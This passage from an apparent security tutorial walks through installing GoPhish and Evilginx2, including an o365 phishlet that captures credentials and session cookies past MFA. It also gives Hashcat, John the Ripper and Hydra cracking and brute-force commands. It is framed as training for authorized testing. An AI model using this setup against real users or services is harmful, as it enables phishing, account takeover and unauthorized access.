- Develop the ability to deploy, configure, and operationalize these tools in authorized, ethical testing environments.
You Should Know:
1. Social Engineering & Adversary-in-the-Middle (AitM) Frameworks
Social engineering remains the most effective entry vector for attackers. Tools like GoPhish, SET (Social-Engineer Toolkit), and Evilginx allow security teams to simulate realistic phishing campaigns and test user awareness. GoPhish provides a comprehensive platform for creating and running phishing campaigns, complete with email templates, landing pages, and campaign analytics. Evilginx takes this further by functioning as a reverse proxy that sits between the victim and the legitimate website, capturing credentials and session tokens in real-time while bypassing even strong MFA solutions.
Step-by-Step Guide: Installing GoPhish on Linux
Update system packages sudo apt update && sudo apt upgrade -y sudo apt install unzip wget -y Install Golang (required by GoPhish) wget https://go.dev/dl/go1.22.6.linux-amd64.tar.gz sudo rm -rf /usr/local/go sudo tar -C /usr/local -xzf go1.22.6.linux-amd64.tar.gz echo "export PATH=\$PATH:/usr/local/go/bin" >> ~/.bashrc source ~/.bashrc go version Expected: go version go1.22.6 linux/amd64 Download and setup GoPhish wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip unzip gophish-v0.12.1-linux-64bit.zip cd gophish chmod 755 gophish Start GoPhish server ./gophish Admin Panel: https://0.0.0.0:3333 Default credentials: admin / (auto-generated password shown in terminal)
For out-of-1etwork access, configure Ngrok tunneling:
ngrok config add-authtoken YOUR_AUTH_TOKEN ngrok http 80 Generates HTTPS link for phishing page
Configure SMTP (e.g., Brevo) in the GoPhish admin panel under “Sending Profiles”.
Evilginx2 Setup for AitM Attacks:
Clone and build Evilginx2 git clone https://github.com/kgretzky/evilginx2.git cd evilginx2 make Or use pre-built binary wget https://github.com/kgretzky/evilginx2/releases/download/v3.3.0/evilginx-v3.3.0-linux-amd64 chmod +x evilginx-v3.3.0-linux-amd64 mv evilginx-v3.3.0-linux-amd64 evilginx2 Start Evilginx2 and configure domain sudo ./evilginx2 config domain yourdomain.com config ip YOUR_VPS_IP Enable HTTP listener and phishing site http on phishlets hostname o365 login.yourdomain.com phishlets enable o365 Generate phishing link lures create o365 lures get-url 1
This setup allows you to intercept credentials and session cookies in real-time.
2. Password Security & Credential Testing
Password cracking tools are essential for assessing password policy strength and identifying weak credentials. Hashcat is the world’s fastest password recovery tool, leveraging GPU acceleration for dictionary, mask, and rule-based attacks. John the Ripper (JtR) is a versatile offline password cracker supporting numerous hash formats. Hydra is a network login cracker that supports brute-force attacks against multiple services including SSH, FTP, HTTP, and RDP.
Hashcat Commands:
Install Hashcat on Ubuntu/Debian sudo apt update && sudo apt install -y hashcat Verify installation and check GPU availability hashcat --version hashcat -I Show OpenCL/ROC availability hashcat -b Benchmark Common hash modes MD5: -m 0, SHA1: -m 100, SHA256: -m 1400, SHA512: -m 1700 NTLM: -m 1000, bcrypt: -m 3200 Dictionary attack with rockyou.txt hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt Mask attack (brute-force) - 8 characters, all lowercase hashcat -m 0 -a 3 ?l?l?l?l?l?l?l?l Hybrid attack: dictionary + mask hashcat -m 0 -a 6 passwords.txt ?d?d?d
The `rockyou.txt` wordlist is widely used for dictionary attacks.
John the Ripper Basics:
Install John the Ripper sudo apt install john -y Basic usage - single crack mode john --single hashes.txt Wordlist mode john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt Incremental (brute-force) mode john --incremental hashes.txt Show cracked passwords john --show hashes.txt
John’s single crack mode uses information about the user (username, full name) to build targeted password guesses.
Hydra Brute-Force Examples:
Install Hydra sudo apt install hydra -y HTTP POST form brute-force hydra -L users.txt -P passwords.txt 127.0.0.1 http-post-form "/login.php:username=^USER^&password=^PASS^:F=Incorrect" SSH brute-force hydra -L users.txt -P passwords.txt ssh://127.0.0.1 FTP brute-force against Metasploitable2 hydra -L users.txt -P passwords.txt ftp://192.168.1.100 RDP brute-force hydra -L users.txt -P passwords.txt rdp://192.168.1.100
Hydra identifies failed attempts by detecting specific failure strings in server responses.
